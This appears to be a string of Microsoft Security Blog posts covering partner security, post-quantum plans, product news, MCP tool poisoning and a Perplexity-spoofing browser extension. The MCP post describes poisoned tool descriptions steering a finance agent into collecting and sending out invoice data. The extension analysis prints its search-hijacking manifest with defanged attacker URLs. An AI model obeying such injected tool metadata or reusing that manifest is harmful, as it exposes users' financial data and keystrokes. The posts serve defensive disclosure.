To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post 5 insights from Frost & Sullivan’s 2025 Frost Radar™ for Cloud Security Posture Management appeared first on Microsoft Security Blog.

Following up on our previous post about managing risk in customer support operations, I wanted to share insight into how we manage the potential risk associated with another critical element of our ecosystem: Microsoft partners that we work with to help our customers deploy and manage some of our products.

While organizations often rely on a wide range of partners, including hardware suppliers and application developers, this post focuses on a specific category of trusted partners that many enterprises use to manage and maximize the value of their technology investments. For Microsoft, these partners are Microsoft Cloud Solution Providers (CSPs), and they help customers buy, manage, and optimize cloud services like Microsoft 365 and Microsoft Azure.

Like many organizations, Microsoft has a strong partner network that is a core part of the success of its services. Partners play a critical role in reaching and enabling broad customer segments and are core to our commercial business and go-to-market strategy. It’s therefore critical that we understand and manage risk in this space. This helps us ensure that the Microsoft partner ecosystem remains healthy, compliant, and effective, and ultimately helps drive the best outcomes for our customers. Keep reading to learn about the approach we have taken at Microsoft to secure this ecosystem, along with our roadmap for upcoming work in this space.

The risks facing partner ecosystems

As with the other business areas we have written about, the risks here are not theoretical. Threat actors, including nation-states, look to exploit partners as a vector to attack customers. Microsoft relies on its partners to engage deeply with customers across multiple scenarios. Cyberattackers in turn see this as a potential opportunity to exploit those customers through the infrastructure and platforms used by Microsoft partners.

CSPs often manage a large set of downstream customers, which means compromise of a CSP can have a large impact.

If not securely configured, a cyberattacker with access to a CSP’s tenant could potentially gain access to a broad set of customers managed by that CSP. As a result, CSPs can become targets of cyberattackers looking to steal large quantities of customer data or compromise customer resources in Azure. Again, these risks are not theoretical. We have seen nation-state attackers target our CSPs with this exact goal in mind.

This is a particularly challenging problem because securing this ecosystem depends on work taken on by both Microsoft and its partners. Microsoft provides the platforms that CSPs use to operate, while each partner manages their own tenants used for CSP operations. We need to ensure every element of this space is secure, since threat actors can exploit weaknesses in any part of the ecosystem.

How Microsoft secures its partner ecosystem

As with other key business areas, it is the goal of Microsoft to enable business success while managing risk. In the CSP scenario, this means building strong protections into the platforms that our CSPs depend on, enabling robust visibility into potential misuse of those platforms, and working with our CSPs to continually raise security standards within their own environments.

We continue to invest in strengthening security in this space at Microsoft. Our approach is guided by a set of core principles that can be applied broadly across partner ecosystems, helping organizations reduce risk and improve resilience. The following sections outline these principles and how Microsoft is implementing them in practice.

1. Partner vetting

Before an organization can begin operating as a CSP, it goes through a vetting process ensuring its validity. This process verifies the identity of the organization and ensures that it legitimately intends to operate as a CSP. This complements the work we are doing to improve CSP security posture. Partner vetting helps ensure that only legitimate organizations can enter the ecosystem, while CSP security posture improvements help enhance the operating standards of organizations already in the ecosystem. We continue to enhance these vetting capabilities based on an understanding of threat intelligence and cyberattacker trends.

2. Enhancing security posture of CSP tenants

Security in the CSP ecosystem is a shared responsibility, with Microsoft enforcing controls at the platform and control plane layer through mechanisms like granular delegated administrative privileges (GDAP), while CSPs are responsible for maintaining the security posture of their tenants. To reduce the risk of tenant compromise and limit negative downstream effects on customers, we have evolved CSP authorization to incorporate mandatory security requirements as a condition for obtaining and retaining authorization. This establishes a clear expectation that maintaining a strong security posture is not optional, but a prerequisite for operating as an authorized CSP.

As the threat landscape continues to evolve, we will periodically reassess the expectations associated with CSP authorization to ensure they remain aligned with the risks facing the ecosystem. This may, over time, result in refinements to the security baseline we define for our partners. We will continue to collaborate closely with our partners to maintain clarity and alignment as these expectations evolve.

3. Least privilege for access to downstream customers

CSPs require access to customer environments to perform their management operations. But this does not mean that a CSP needs unfettered access to those customer environments. Instead, access from a CSP to a customer tenant should follow the principles of least privilege and have strong role-based access control (RBAC). Access should only be granted with customer consent and should be constrained both in terms of scope and duration. The GDAP protocol enables CSPs to manage downstream customers based on these principles.

As part of this access control principle, we have built capabilities that allow internal Microsoft security teams to rapidly revoke a CSP’s GDAP access to customers when required. This capability can be used in a range of scenarios, including incident response, changes in partner status, or termination of a partner relationship. It helps ensure that access can be quickly withdrawn and contained when risks are identified, limiting potential impact to downstream customers.

4. Strong monitoring and response capabilities throughout the stack

Microsoft is responsible for providing strongly secured common platforms and key to that promise is robust telemetry, monitoring, and incident response capabilities across those platforms. We collect a high volume of diverse telemetry signals from across our platforms and analyze them to detect suspicious activity. This enables our security response teams to quickly identify and respond to CSP-targeting threats that arise from our platforms. Containing risk in this way is an important reason that Microsoft reserves the right to revoke a CSP’s GDAP access to downstream customers when required.

In short, we have made a set of improvements to the security posture across the CSP ecosystem, both at the Microsoft platform layer and at the partner tenant layer. Like all other areas of security, our work here is never completely done. We plan to continually enhance security across all of these areas as we learn more about cyberattacker trends and risks to the ecosystem.

Protecting partners and customers means protecting the ecosystem

The key lesson here remains that the platforms we provide to partners cannot be an afterthought when it comes to security. Even though these partner platforms are not directly part of the product or service infrastructure we maintain, Microsoft must treat them just like it does its “core” infrastructure. Cyberattackers do not care whether a given system is considered internal or marked for external use. If it gives them a way to achieve their goals (in this case the compromise of customers) they will look to exploit it.

This applies broadly to any organization working with partners. As the provider of a partner platform, there is a responsibility to protect both partners and customers by ensuring these platforms meet the highest security bar, and that is what we at Microsoft are working diligently to do.

Microsoft
Deputy CISOs

To hear more from Microsoft Deputy CISOs, check out the OCISO blog series:

To stay on top of important security industry updates, explore resources specifically designed for CISOs, and learn best practices for improving your organization’s security posture, join the Microsoft CISO Digest distribution list.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post Improving security posture across the Microsoft partner ecosystem appeared first on Microsoft Security Blog.

As organizations expand across multicloud and hybrid environments, they adopt modern architectures built on containers, Kubernetes, microservices, APIs, and AI-powered workloads. This increases both the volume and interconnectedness of security signals. The challenge is no longer identifying individual risks, but determining how vulnerabilities, identities, and data exposures combine across infrastructure and the applications running on it to create real attack paths, and which of these are most critical to fix at the source. Effective risk reduction depends on understanding which of these paths are actually reachable and exploitable in a live environment.

Frost & Sullivan’s 2026 Frost Radar™ for Cloud/Application Runtime Security (CARS) reflects this shift. The report highlights how cloud security is evolving from a collection of posture and workload capabilities into a unified runtime risk operations model, correlating signals across code, cloud, runtime, applications, and security operations center (SOC) workflows to prioritize and reduce risk continuously.

Within this evolving market, Microsoft is positioned as a visionary leader because of the scale of its hyperscale ecosystem, operational breadth of Microsoft Defender for Cloud when integrated with Microsoft Defender XDR, and large customer base. That recognition reflects where the category is heading: toward platforms that connect cloud and application security into one operational view of risk.

Why cloud security is being redefined

The Frost Radar makes a clear point: cloud security is no longer about visibility or compliance alone. It is becoming an operational discipline for reducing risk across the full runtime—from cloud infrastructure to the application code executing on top of it.

Modern environments introduce complexity across:

• Multicloud and hybrid infrastructure.
• Rapid development and continuous deployment.
• Containers, serverless, microservices, and APIs.
• AI-powered workloads, agents, and machine identities.

This complexity exposes the limits of traditional, siloed tools—where cloud posture, workload protection, and application security each live in their own console. Organizations now need platforms that can:

• Correlate posture, runtime, identity, data, and application signals.
• Prioritize risk based on exploitability—not severity alone.
• Integrate security across development, cloud operations, and the SOC.
• Validate whether a vulnerability is actually reachable inside a running application.

This is the shift the report describes: from detecting issues to operationalizing risk reduction across the lifecycle—and across both cloud and application layers.

What distinguishes leading platforms

Frost & Sullivan evaluates providers on growth and innovation—but, more importantly, on how effectively they help organizations manage real risk. Five themes define the next generation of platforms:

1. Platform unification over point solutions.
2. Code-to-cloud-to-SOC integration.
3. Risk prioritization based on exploitability.
4. Correlation across identity, data, cloud, and application context.
5. Expansion into AI-powered workloads.

Taken together, these capabilities represent a move from fragmented visibility to connected, contextual risk management that spans cloud detection and response (CDR) and application detection and response (ADR)—the two halves the market is converging into a single runtime fabric.

How Microsoft help organizations manage real risk

1. Connect signals to prioritize real attack paths

Most security tools surface large volumes of findings across cloud infrastructure and applications, but isolated findings do not reflect how cyberattacks actually happen. Threat actors exploit how misconfigurations, excessive permissions, and data exposure combine to create a path to critical assets.

Microsoft Defender for Cloud correlates posture, identity, data, and runtime signals to identify which risks are truly exploitable. A misconfigured storage resource on its own may appear low priority. However, when it is exposed to the internet, combined with excessive access permissions, and connected to sensitive data, it becomes part of a clear attack path that can be used to compromise the environment.

What this means: Security teams can prioritize real attack paths instead of individual findings, helping to reduce alert fatigue and improve remediation speed and precision.

2. Continuously validate and act on risk across the lifecycle

Security needs to operate continuously across development, runtime, and operations, spanning both the application and the cloud environment it runs in. Defender for Cloud connects insights across code and infrastructure definitions, cloud configuration and runtime context, application and API layers, and security operations workflows through Defender XDR.

A vulnerability identified before deployment can be tracked through to runtime, where it is evaluated in the context of the running environment and surfaced in security operations if it is determined to be exploitable.

What this means: Organizations can continuously validate risk and respond more effectively by connecting development, cloud environments, and security operations.

3. Reducing complexity across fragmented cloud and application security workflows

As environments scale, fragmented tools and workflows make it difficult to understand how risks connect and where to focus first. When cloud infrastructure and application security are managed separately, investigation becomes slower and more manual.

Defender for Cloud helps bring these signals together in a single investigative flow, where risks can be analyzed across configuration, runtime context, application behavior, and identity exposure.

Instead of switching between separate tools, security teams can investigate a single incident across its initial misconfiguration, runtime impact, application behavior, and identity exposure, a more connected experience.

What this means: Security teams can investigate faster, prioritize risk more efficiently, focus on what matters most, and respond more quickly across fragmented cloud and application environments.

What this signals for security leaders

The Frost Radar offers a signal for where cloud security is headed: toward platforms that connect context across cloud and application environments so teams can prioritize the risks most likely to be exploited and reduce exposure faster. Security leaders should now ask:

• Can the platform correlate signals across identity, endpoints, data, cloud, runtime, and applications?
• Does it span the full code-to-cloud lifecycle—and reach into the SOC?
• Can it prioritize risk based on exploitability—not just severity?
• Does it bring cloud detection and response together with application detection and response?
• Can it scale across multicloud and AI environments?

These are the capabilities that define the next generation of cloud and application runtime security.

Bottom line

Frost & Sullivan’s 2026 CARS analysis reinforces a clear shift: cloud security is moving from fragmented visibility to unified, contextual risk management across the entire lifecycle—and across both the cloud and the application layer.

Microsoft’s position as a visionary leader in the Frost Radar reflects this shift—bringing together posture, runtime, identity, endpoints, data, and application signals into a connected platform that helps organizations prioritize and reduce risk continuously.

Learn more

• Read Frost & Sullivan’s 2026 Frost Radar™ for Cloud/Application Runtime Security to see how leading vendors are evaluated—and how the category is shifting toward unified cloud and application runtime risk operations.
• Explore Microsoft cloud security solutions to see how unified posture management, risk prioritization, and protection across the application lifecycle can help reduce cloud risk.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post Microsoft named a leader in the Frost Radar for cloud and application runtime security appeared first on Microsoft Security Blog.

For years, planning for post-quantum cryptography (PQC) was framed as a future problem: important, inevitable, but distant. That perspective is evolving as technology advances and organizations prepare for the scale and complexity of the transition ahead. At Microsoft, we are acting on this shift by bringing our quantum-safe timeline forward so organizations can begin the transition earlier and with greater confidence.

Advances in quantum research and development have shifted the risk horizon. We believe cryptographically relevant quantum computers could arrive sooner than previously expected—and the work required to prepare is significant so organizations need to start now.

Recent government actions, including United States¹ and French² guidance to adopt quantum-safe cryptography as early as 2030 in certain high-risk systems, reflect the same conclusion: preparing for this transition is already underway.

This is a recognition that the transition to quantum-safe cryptography is a multi-year engineering effort that benefits from early planning and action, and delaying that work increases both cost and risk. This reinforces our decision to bring the work forward.

The quantum capabilities are accelerating. The time to respond is now.

Accelerating our timeline

In response to these shifts, we are accelerating the Microsoft Quantum Safe Program (QSP) timeline and the goal is to transition products and services to PQC by 2029.

We are also incorporating PQC requirements into our Secure Future Initiative (SFI). This brings quantum-safe readiness into the same disciplined engineering framework we use for other critical security outcomes: clear ownership, measurable milestones, and transparent progress. Embedding these capabilities into our platforms empowers customers to move sooner and more confidently.

What “accelerating” means in practice

Accelerating our timeline means pulling forward key engineering work so new standards can be adopted earlier and modernization can begin well ahead of broad quantum impact.

Our priorities fall into three areas:

1. Upgrade network cryptography (data in transit)

Modernizing network cryptography is a prerequisite for post-quantum adoption. As an example, adopting TLS 1.3 establishes a baseline that enables hybrid and post-quantum key exchange as standards mature.

What this looks like: Critical endpoints negotiate TLS 1.3 by default, with legacy protocol use reduced or eliminated wherever possible.

2. Build crypto-agility for stored data (data at rest)

Crypto-agility—the ability to change cryptography without redesigning systems—enables the safe, timely adoption of new cryptographic standards. This requires making cryptographic settings configurable outside of the application, standardizing key management and rotation, and eliminating hard-coded algorithms.

What this looks like: Cryptographic algorithms can be updated with minimal application changes and limited service disruption. You can learn more about crypto-agility here. 

3. Modernize cryptographic trust chains (identity, signing, certificates)

The most complex work is securing the chains of trust that underpin software, devices, and services at scale. That includes code signing, certificate issuance, key protection, and update pipelines.

What this looks like: This includes hardware-backed key protection, updated certificate lifetimes and policies, and auditable signing and issuance processes for critical trust anchors, with a transition to PQC algorithms as they become available.

What this means for our customers

Accelerating the timeline doesn’t change the core challenge: for most organizations, the hardest part isn’t selecting post-quantum algorithms. It’s understanding and updating where cryptography already exists across apps, services, networks, identities, certificates, and hardware.

Bringing this work forward means Microsoft can help organizations begin that process sooner, starting with an inventory-first approach to identify, prioritize, and modernize cryptographic dependencies with greater confidence.

We will continue to share technical guidance and operational best practices to help organizations adopt quantum-safe cryptography with confidence as they move from planning into execution.

Microsoft moving earlier allows organizations to align to that same timeline, one that reduces risk while maintaining operational continuity.

What we are hearing from customers and partners

Across industries and regions, organizations are already taking steps, with several consistent themes emerging:

• The future of security is agile and the transition is iterative.

Organizations are designing for change. Building crypto‑agility into systems delivers long-term resilience so new cryptography standards can be adopted over time without redesigning systems.

• Long-lived, sensitive data requires earlier protection.

Organizations are prioritizing data with long confidentiality lifetimes, recognizing that encrypted data captured today could be exposed in the future (“harvest now, decrypt later”) as cryptographic capabilities evolve.

• Preparation delivers immediate value.

Organizations that begin with cryptographic discovery and lifecycle management consistently uncover existing gaps that require attention today, independent of quantum risk.

• The hardest problem isn’t quantum—it’s complexity.

Most organizations lack clear visibility into where cryptography exists across applications, infrastructure, and legacy systems, making discovery and prioritization the primary challenge.

These signals shape how we are approaching quantum safety at Microsoft and how we support and empower all organizations in their readiness.

What to do now

Organizations do not need to wait; there are steps you can take today to begin the transition:

• Align on strategy: Define ownership, scope, and milestones for a multi-year cryptography transition.
• Design for change: Build crypto-agility into new systems so future standards shifts are updates, not fire drills.
• Begin with inventory: Create and maintain a living cryptographic inventory to identify, prioritize, and modernize dependencies.
• Modernize protocols: Adopt modern standards such as TLS 1.3 as a baseline across client and server systems.

Looking ahead

The Microsoft Quantum Safe Program (QSP) goes beyond future cryptography. It is part of a broader effort to strengthen long-term resilience across identity, infrastructure, data, and supply-chain security—bringing this work into the systems and platforms organizations rely on daily.

Our goal is straightforward: ensure that Microsoft platforms and services can adopt new cryptographic standards quickly and safely as they mature, so organizations can move at the same pace without disrupting their operations.

Microsoft will continue to share progress and practical guidance to help organizations plan, prepare, and move into execution as standards and cyberthreats evolve. By starting now, organizations can reduce risk today and be better prepared for what comes next.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

¹Securing the nation against advanced cryptographic attacks, whitehouse.gov. June 22, 2026.

²France to stop certifying products without quantum-safe encryption, Reuters. June 16, 2026.

The post Accelerating the quantum-safe timeline appeared first on Microsoft Security Blog.

Codename MDASH helps teams discover and remediate complex vulnerabilities

Codename MDASH is a multi-model agentic scanning system designed to discover, validate, and help remediate software vulnerabilities across complex environments. MDASH orchestrates a panel of specialized AI agents that reason through proprietary code and systems, helping security teams surface elusive vulnerabilities quickly and systematically. For example, when security teams use MDASH to scan a complex application, it can identify and validate a previously undetected vulnerability in the underlying code and systems, and route it into Microsoft Defender workflows and engineering pipelines for remediation. This closed loop connects discovery, validation, and remediation across the Microsoft stack. Sign up to follow codename MDASH and join the private preview to surface and validate hard-to-find vulnerabilities with multi-model AI.

Microsoft Defender extends endpoint protection to local AI agents

Microsoft Defender now discovers more than 25 types of local AI agents and Model Context Protocol (MCP) servers across managed Windows and macOS devices. Defender also protects at runtime: if a developer using a popular coding agent like GitHub Copilot Command-Line Interface (CLI) or Claude Code is targeted by a prompt injection attempts, Defender detects and blocks it before the malicious action executes. From there, security teams can investigate agent exposure across their environment with Advanced Hunting. These capabilities are now in preview.

Microsoft Entra Backup and Recovery restores critical identity data

Microsoft Entra Backup and Recovery is now generally available, delivering Microsoft-managed, always-on backups native to your environment that are protected from deletion or modification. Security teams gain clear visibility into what changed across their tenant and can back up core directory objects, compare and restore to previous timestamps, and configure Conditional Access policies to protect against permanent deletion. Together, these capabilities protect your tenant, helping you minimize downtime and recover quickly from accidental changes and security compromises. Strengthen identity resilience with rapid recovery capabilities in Microsoft Entra.

Microsoft Defender protects open-source relational databases on AWS RDS

Microsoft Defender for Cloud now extends database threat protection to open-source relational databases on Amazon Web Services (AWS) Relational Database Service (RDS). Now generally available, built-in threat detection identifies anomalous access patterns and brute-force attempts, while automated sensitive data discovery helps teams understand where high-risk data resides. These insights, combined with integrated investigation across Microsoft Defender, help teams prioritize and respond to database risks more effectively. Detect threats and discover sensitive data across Azure and AWS with Microsoft Defender.

Greater flexibility over data security insights with Microsoft Purview customizable reports

Microsoft Purview customizable reports, now generally available in Data Security Posture Management (DSPM), give teams greater control and flexibility to tailor reporting views, analyze trends, and quickly surface the insights that enable faster, more informed decisions. Choose from out-of-the-box reports or create custom reports tailored to your organization’s specific needs, with easy options to export and share insights across teams and stakeholders. For example, security teams can create role-specific reports that highlight high-risk data exposure trends to guide policy decisions. Learn how to customize reporting experiences to uncover your critical data security insights.

Broader visibility with expanded multi-cloud coverage in Defender for Cloud

Microsoft Defender for Cloud is expanding multicloud coverage and visibility across AWS and Google Cloud, adding support for approximately 90 additional resource types and more than 200 new security recommendations. Security teams can better understand their attack surface with broader visibility across cloud-native applications, identities, data services, and workloads. Across multicloud environments, teams can better assess security posture and prioritize remediation based on exposure context, compliance posture, and business criticality to reduce risk more effectively. Gain broader visibility and prioritize risk across multicloud environments with Defender for Cloud.

Prioritize risk with unified identity risk score

A new unified identity risk score combines signals from across Microsoft Security into a single, explainable measure of an identity’s risk. It brings together behavior, access patterns, and threat intelligence for all related accounts, sessions, and applications to provide a complete view of risk. The moment an identity acts suspiciously, the score helps your team cut through the noise, prioritize what’s urgent, and can automatically trigger Conditional Access policies to enforce protection at the point of access. Prioritize identity risk and enforce protection in real time with the new unified identity risk score.

Security innovations purpose built for developers

To help developers secure code, agents, and models while giving security teams consistent visibility and control from development through runtime, Microsoft is integrating security into the tools and platforms developers already use. Organizations can use the new security tools and capabilities announced at Microsoft Build 2026 to innovate faster and scale AI adoption without sacrificing security. Read more about the Build 2026 security announcements.

Stay In the Loop

Microsoft Security continually ships meaningful innovations across our portfolio and research-driven insights and reports for the security community. In the Loop posts are your reliable source of what’s new across Microsoft Security and what it means for your security strategy. Check back for the next drop.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post ​​What’s new in Microsoft Security: June 2026 appeared first on Microsoft Security Blog.

As enterprise deployments mature, some enterprise AI agents are shifting from reading content to taking action. In this post, Microsoft Incident Response walks through an attack pattern that targets the fastest growing part of the agentic AI supply chain: Model Context Protocol (MCP) tools. The post provides a practical playbook for detecting, containing, and preventing this class of attack using Microsoft security controls.

From reading to acting

This is the third post in the AI Application Security series. AI Application Series 1: Security considerations when adopting AI tools examined how AI adoption expands the enterprise attack surface. AI Application Series 2: Detecting and analyzing prompt abuse in AI tools showed how indirect prompt injection can bias the output of a passive AI summarizer. In both cases, the AI only read content and produced text, it did not take action. This post addresses what happens when that boundary changes.

AI agents can plan multi-step tasks, decide which tools to invoke, and execute actions on behalf of the user. Microsoft 365 Copilot can draft and send email, create documents, and update calendar entries. Copilot Studio and Azure AI Foundry allow organizations to build custom agents that connect to business systems through MCP. As AI is increasingly used in read-write workflows, the impact profile of vulnerabilities may shift. A prompt injection against a summarizer can bias an output. A prompt injection against an agent can trigger an action.

According to the International Data Corporation (IDC), the number of active AI agents in enterprises is projected to grow from 28.6 million in 2025 to more than 2.2 billion by 2030. That scale is why the OWASP Top 10 for Agentic Applications, released in December 2025, now sits alongside the LLM Top 10 as a reference framework for defenders. This post focuses on one of its fastest-moving categories: tool misuse and agentic supply chain risk exploited through poisoned MCP tool metadata.

Attack pattern: MCP tool poisoning in a finance workflow

The pattern below maps to ASI02 – Tool Misuse and ASI04 – Agentic Supply Chain Vulnerabilities. It reflects techniques first disclosed by Invariant Labs in April 2025 and observed in 2026 against a growing range of enterprise agents.

The environment

A financial operations team builds a Copilot Studio agent to help analysts handle vendor invoices. The agent has generative orchestration enabled and connects to three tools: a Dataverse MCP server holding the approved vendor master, an Outlook connector for vendor correspondence, and a third-party invoice enrichment MCP server added to validate banking details against an external reference database. The third-party server is reviewed by the team’s service owner lead and approved for production use. No separate security review is performed.

Attack chain overview

Phase 1: Tool description poisoning. A developer pushes an update to the enrichment server. The tool name and user-facing summary remain unchanged, but the MCP tool description is silently modified. This description is the natural-language metadata the agent reads to decide how and when to call the tool. Buried within what appears to be legitimate formatting guidance is a hidden block of instructions directing the agent to retrieve the last thirty unpaid invoices, summarize them, and attach that summary as an additional parameter in the enrichment call—framed as a fraud-heuristic requirement.

Phase 2: Silent re-trust.The MCP reflects tool metadata updates dynamically. In configurations where description changes do not trigger a re-approval workflow, the updated instructions become active without additional review. The poisoned description is live in production.

Phase 3: User invocation. A financial analyst asks the agent a routine question about a supplier. Without any visible indication, the agent follows the hidden instructions embedded in the poisoned tool description, collecting sensitive financial records beyond the scope of the original request and forwarding them as part of the enrichment call, as if it were a normal part of the request.

Phase 4: Exfiltration. The enrichment server returns a plausible “validated” response and silently logs the attached invoice summary to a threat actor-controlled endpoint. The analyst sees a clean answer. No alert may fire in default configurations. Every individual action the agent took was within its normal operating parameters. This pattern does not exploit a vulnerability in Copilot itself, but rather a trust boundary introduced by external tool integrations.

Why this pattern is effective

Each action the agent takes on its own is legitimate. The tool is approved, the Dataverse query inherits the analyst’s permissions, and the outbound call goes to a server that was allowlisted when it was added. The vulnerability is not in any single system; it is in the trust boundary between them.The MCP blends instructions (tool descriptions) with data, so a change to a tool’s metadata can redirect the agent’s behavior as effectively as a change to its system prompt. The agent cannot distinguish between a legitimate instruction authored by its owner and a malicious instruction inserted by an upstream maintainer.

Mitigation and protection guidance

Detection and response with Microsoft security tools

The controls mapped in Figure 1 apply at four points in the attack chain, each supported by a specific Microsoft capability:

• Govern the supply chain. Maintain a tenant-level allowlist of approved MCP publishers and servers. The Microsoft MCP catalog provides a list of first-party servers, review and assess where provenance is verifiable. Disable Allow all on MCP connections and enable only the specific tools an agent needs.
• Inspect tool metadata. Use Prompt Shields in Azure AI Content Safety to inspect content flowing from MCP tool responses and descriptions into agent context. Defender for Cloud’s AI workload protection alerts on suspicious prompts and tool outputs at runtime. Review metadata changes to production tools with the same rigor as changes to system prompts.
• Guard the action. Microsoft Purview Data Loss Prevention (DLP) policies inspect tool call parameters and can block sensitive data in outbound payloads. For high-impact actions such as financial data access, external sharing, or account changes, configure human-in-the-loop approval through Copilot Studio. Assign each agent a non-human identity in Microsoft Entra Agent ID and apply Conditional Access to its workload identity.
• Correlate the chain. When MCP server telemetry is instrumented and forwarded to Microsoft Sentinel, it can be correlated against agent behavior signals to flag anomalous sequences. Microsoft Defender for Cloud Apps surfaces new external endpoints an agent has started interacting with. Microsoft Purview audit logs provide the evidence trail for investigation and post-incident review.

Three principles for agent supply chain governance

Treat every MCP server as part of the supply chain. Every MCP server an agent can call is a production dependency. Maintain an inventory of approved publishers, review tool descriptions during security review rather than relying on tool names alone, and require a documented owner for any third-party server before production use.

Treat tool descriptions as system prompts. Because models can read tool metadata as part of their working context, a change to that metadata is equivalent to a change in agent instructions. Require change review for tool description updates on critical agents and use Prompt Shields to inspect metadata for imperative language that does not belong in a documentation field.

Apply least agency, not just least privilege. There are important factors to consider for permissions. Even a minimally permissioned agent can cause harm if it has too much autonomy. Turn off Allow all tool access, require human approval for high-impact actions, and establish baseline agent behaviors in Microsoft Sentinel so that deviations from the norm—such as new endpoints, expanded parameters, or unusual query patterns—trigger alerts.

Conclusion

Agents that act on behalf of users depend on a supply chain of tools that is growing as governance programs continue to evolve. A threat actor who modifies a tool description may influence agents that rely on it, even without directly involving a user, a prompt, or a credential. The OWASP Top 10 for Agentic Applications provides the framework.

Microsoft security capabilities—including Copilot Studio guardrails, Prompt Shields, Defender for Cloud AI Protection, Microsoft Entra Agent ID, Microsoft Purview DLP, Microsoft Defender for Cloud Apps, and Microsoft Sentinel—provide the controls. What remains is to apply them deliberately to agentic workflows: scope permissions, govern the tool supply chain, monitor agent behavior, and perform red teaming exercises before deployment.

References

• IDC FutureScape 2026 Predictions Reveal the Rise of Agentic AI and a Turning Point in Enterprise Transformation. IDC (accessed 2026-06-03)
• OWASP GenAI Security Project Releases Top 10 Risks and Mitigations for Agentic AI Security. OWASP Gen AI Security Project (accessed 2026-06-03)
• MCP Security Notification: Tool Poisoning Attacks. Invariant Labs (accessed 2026-06-03)

Microsoft follows coordinated disclosure practices and is not disclosing details of any specific affected organization.

This research is provided by Microsoft Defender Security Research, Mohammed Zaid, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Securing AI agents: When AI tools move from reading to acting appeared first on Microsoft Security Blog.

Microsoft Threat Intelligence has identified a malicious Chromium-based extension that spoofs the AI-powered answer engine Perplexity AI to trick unsuspecting users into installing it. Based on our observation of the extension’s behavior, we assess its primary objective to be search traffic interception and data collection, which might enable downstream use cases such as profiling, targeted advertising, or other forms of misuse depending on operator intent. Through responsible disclosure, we reported this extension to Google, and it has been taken down as of this writing. We’d like to thank Google for responding to and addressing this issue.

Browser extensions continue to represent a significant attack surface within enterprise and consumer ecosystems due to their privileged access to browser APIs, user traffic, and browsing behavior. However, unlike traditional search hijackers that rely primarily on aggressive monetization or visible redirection, this extension combines Manifest Version 3 (MV3) capabilities with intermediary infrastructure and declarativeNetRequest (DNR) rules to transparently intercept Omnibox queries while preserving the appearance of legitimate search results. In addition, while browser search hijacking is not a new threat category, this research highlights how threat actors continue to operationalize AI to accelerate attacks—specifically the use of AI brands as a social engineering vector.

The extension routes both full search queries and real-time search suggestions (typed characters) through attacker-controlled infrastructure hosted on a domain not associated with the legitimate vendor, before redirecting users to expected search providers. While the observed activity demonstrates the capability to capture user input and browsing signals, no evidence in our analysis definitively confirms additional objectives such as credential theft. However, the level of access and permissions requested introduces elevated privacy and security risk.

As threat actors continue to capitalize on emerging industry trends such as AI and leverage trusted branding to improve the success rates of their campaigns, organizations should strengthen user awareness training and similar programs to educate end users about the latest social engineering tactics. They should also implement a layered security strategy that correlates available indicators with behavioral signals and other threat intelligence.

In this blog post, we provide our analysis of the browser extension—including key indicators of malicious behavior and findings from our dynamic analysis. We also provide mitigation and protection guidance, as well as advanced hunting queries, to help organizations detect and defend against this threat.

Extension overview

The extension we analyzed has the following attributes:

It appears to spoof the publicly available Perplexity service by using similar branding elements and a typosquatted domain. The said domain mismatch might increase the likelihood of user confusion regarding the extension’s source or affiliation.

Based on our analysis, the extension has been classified as malicious due to observed search redirection behavior. The analyzed extension’s manifest declares itself as the following:

"search_provider": {
    "name": "Perplexity Search"
}

It uses the following infrastructure:

"search_url": https://perplexity-ai[.]online/search/{searchTerms}

The extension also forces itself as the browser default search provider:

"is_default": true

At first glance, the extension appears to provide AI-enhanced search functionality. However, analysis of the manifest reveals multiple suspicious behaviors and permissions inconsistent with legitimate AI search assistants.

Key indicators of malicious behavior

Typosquatted infrastructure

The extension uses the domain perplexity-ai[.]online, which is similar to the legitimate Perplexity AI service’s domain (perplexity[.]ai). This pattern is consistent with domain naming approaches often frequently observed in phishing campaigns, search hijackers, fake AI applications, and extension malware.

Previous research has discussed how browser extensions might use branding similar to trusted services because:

• Users associate AI tools with productivity and legitimacy
• AI-related extensions currently experience high install rates
• Users are less suspicious of browser-integrated AI assistants

Browser search hijacking

The extension overrides browser search settings through chrome_settings_overrides to replace the browser default search provider as well as intercept and redirect all queries in a Chromium browser’s Omnibox to an intermediary infrastructure not associated with the official vendor domain:

"chrome_settings_overrides": { 
  "search_provider": { 
    "name": "Perplexity Search", 
    "keyword": "perplexity", 
    "is_default": true, 
    "search_url": "hxxps://perplexity-ai[.]online/search/{searchTerms}", 
    "favicon_url": "hxxps://perplexity-ai[.]online/favicon.ico", 
    "suggest_url": "hxxps://perplexity-ai[.]online/search?output=firefox&q={searchTerms}" 
  } 
} 

Critically, the suggest_url field also routes through perplexity-ai[.]online. This means real-time search suggestions—every character typed in the address bar—are transmitted to an attacker-controlled infrastructure before any redirect occurs. This constitutes active user surveillance (keystroke-level capture) beyond simple search redirection.

Although Chromium-based browsers permit search provider overrides for legitimate use cases, Google explicitly states that extensions requesting settings overrides along with additional powerful capabilities might violate the browser’s single-purpose policy.

